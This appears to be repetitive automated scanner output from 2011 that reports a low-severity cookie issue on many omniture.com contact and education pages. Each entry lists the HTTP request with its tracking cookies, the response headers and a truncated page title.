The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/company HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:56 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:48:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:57 GMT Content-Length: 21394 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Company Info ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/email HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:34 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:48:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:35 GMT Content-Length: 22793 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Send Omniture an E-mail | Onlin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/feedback HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:02 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:02 GMT Content-Length: 21572 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Feedback</ti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/offices HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:47:50 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:47:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:47:50 GMT Content-Length: 26307 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:47:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Office locat ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/sales HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:05 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:05 GMT Content-Length: 30936 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Request Information | Online Bu ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/support HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:04 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:04 GMT Content-Length: 22748 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:04 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Support</tit ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:27 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:27 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:27 GMT Content-Length: 23085 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:27 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/academic_initiative HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:52 GMT Content-Length: 29263 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Education | Academic I ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:55 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:55 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:55 GMT; path=/; domain=omniture.com Content-Length: 34032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Partner Certification | Online ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/implementation HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:37 GMT Content-Length: 29450 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/insight_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:40 GMT Content-Length: 30492 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:39 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/insight_architect HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:46 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:46 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:47 GMT Content-Length: 31189 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:46 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/search_center HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:43 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:43 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:43 GMT Content-Length: 28706 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:43 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/site_catalyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:46 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:46 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:46 GMT Content-Length: 28706 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:46 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/support HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:45 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:45 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:45 GMT Content-Length: 28545 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:45 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/test_target HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:50 GMT Content-Length: 28895 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
